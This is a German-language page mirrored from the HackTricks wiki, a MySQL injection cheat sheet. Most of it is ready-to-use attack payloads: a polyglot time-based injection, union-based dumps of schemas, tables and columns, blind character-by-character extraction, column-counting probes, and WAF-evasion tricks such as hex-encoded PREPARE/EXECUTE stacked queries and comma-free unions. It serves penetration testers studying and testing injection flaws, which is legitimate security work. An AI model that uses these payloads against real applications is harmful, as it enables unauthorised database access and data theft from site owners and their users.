mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
159 lines
6.3 KiB
Markdown
159 lines
6.3 KiB
Markdown
# MySQL-Injektion
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
|
|
|
|
## Kommentare
|
|
```sql
|
|
-- MYSQL Comment
|
|
# MYSQL Comment
|
|
/* MYSQL Comment */
|
|
/*! MYSQL Special SQL */
|
|
/*!32302 10*/ Comment for MySQL version 3.23.02
|
|
```
|
|
## Interessante Funktionen
|
|
|
|
### Bestätigen Mysql:
|
|
```
|
|
concat('a','b')
|
|
database()
|
|
version()
|
|
user()
|
|
system_user()
|
|
@@version
|
|
@@datadir
|
|
rand()
|
|
floor(2.9)
|
|
length(1)
|
|
count(1)
|
|
```
|
|
### Nützliche Funktionen
|
|
```sql
|
|
SELECT hex(database())
|
|
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
|
|
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
|
|
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
|
|
SELECT replace(database(),"r","R")
|
|
SELECT substr(database(),1,1)='r'
|
|
SELECT substring(database(),1,1)=0x72
|
|
SELECT ascii(substring(database(),1,1))=114
|
|
SELECT database()=char(114,101,120,116,101,115,116,101,114)
|
|
SELECT group_concat(<COLUMN>) FROM <TABLE>
|
|
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
|
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
|
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
|
```
|
|
## Alle Injektionen
|
|
```sql
|
|
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
|
```
|
|
## Flow
|
|
|
|
Denken Sie daran, dass Sie in "modernen" Versionen von **MySQL** "_**information_schema.tables**_" durch "_**mysql.innodb_table_stats**_" ersetzen können (dies könnte nützlich sein, um WAFs zu umgehen).
|
|
```sql
|
|
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
|
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
|
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
|
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
|
```
|
|
### **Nur 1 Wert**
|
|
|
|
- `group_concat()`
|
|
- `Limit X,1`
|
|
|
|
### **Blind eins nach dem anderen**
|
|
|
|
- `substr(version(),X,1)='r'` oder `substring(version(),X,1)=0x70` oder `ascii(substr(version(),X,1))=112`
|
|
- `mid(version(),X,1)='5'`
|
|
|
|
### **Blind hinzufügen**
|
|
|
|
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
|
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
|
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
|
|
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
|
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
|
|
|
## Anzahl der Spalten erkennen
|
|
|
|
Verwendung einer einfachen ORDER
|
|
```
|
|
order by 1
|
|
order by 2
|
|
order by 3
|
|
...
|
|
order by XXX
|
|
|
|
UniOn SeLect 1
|
|
UniOn SeLect 1,2
|
|
UniOn SeLect 1,2,3
|
|
...
|
|
```
|
|
## MySQL Union-basiert
|
|
```sql
|
|
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
|
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
|
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
|
|
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
|
```
|
|
## SSRF
|
|
|
|
**Lernen Sie hier verschiedene Optionen, um** [**eine Mysql-Injection auszunutzen, um eine SSRF zu erhalten**](mysql-ssrf.md)**.**
|
|
|
|
## WAF-Bypass-Tricks
|
|
|
|
### Ausführen von Abfragen über vorbereitete Anweisungen
|
|
|
|
Wenn gestapelte Abfragen erlaubt sind, kann es möglich sein, WAFs zu umgehen, indem man einer Variablen die hexadezimale Darstellung der Abfrage zuweist, die man ausführen möchte (indem man SET verwendet), und dann die MySQL-Anweisungen PREPARE und EXECUTE verwendet, um letztendlich die Abfrage auszuführen. Etwas wie dies:
|
|
```
|
|
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
|
```
|
|
Für weitere Informationen siehe [diesen Blogbeitrag](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
|
|
|
### Information_schema Alternativen
|
|
|
|
Denke daran, dass du in "modernen" Versionen von **MySQL** _**information_schema.tables**_ durch _**mysql.innodb_table_stats**_ oder _**sys.x$schema_flattened_keys**_ oder **sys.schema_table_statistics** ersetzen kannst.
|
|
|
|
### MySQLinjection ohne KOMMA
|
|
|
|
Wähle 2 Spalten ohne Verwendung eines Kommas ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
|
```
|
|
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
|
```
|
|
### Abrufen von Werten ohne den Spaltennamen
|
|
|
|
Wenn Sie zu einem bestimmten Zeitpunkt den Namen der Tabelle kennen, aber die Namen der Spalten in der Tabelle nicht kennen, können Sie versuchen herauszufinden, wie viele Spalten vorhanden sind, indem Sie etwas wie Folgendes ausführen:
|
|
```bash
|
|
# When a True is returned, you have found the number of columns
|
|
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
|
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
|
```
|
|
Angenommen, es gibt 2 Spalten (wobei die erste die ID ist) und die andere die Flagge, können Sie versuchen, den Inhalt der Flagge durch Brute-Force zu entschlüsseln, indem Sie Zeichen für Zeichen ausprobieren:
|
|
```bash
|
|
# When True, you found the correct char and can start ruteforcing the next position
|
|
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
|
```
|
|
Mehr Informationen unter [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
|
|
|
### MySQL-Historie
|
|
|
|
Sie können andere Ausführungen innerhalb von MySQL sehen, indem Sie die Tabelle: **sys.x$statement_analysis** lesen.
|
|
|
|
### Versionsalternativen**n**
|
|
```
|
|
mysql> select @@innodb_version;
|
|
mysql> select @@version;
|
|
mysql> select version();
|
|
```
|
|
## Weitere MYSQL-Injektionsanleitungen
|
|
|
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
|
|
|
## Referenzen
|
|
|
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
|
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|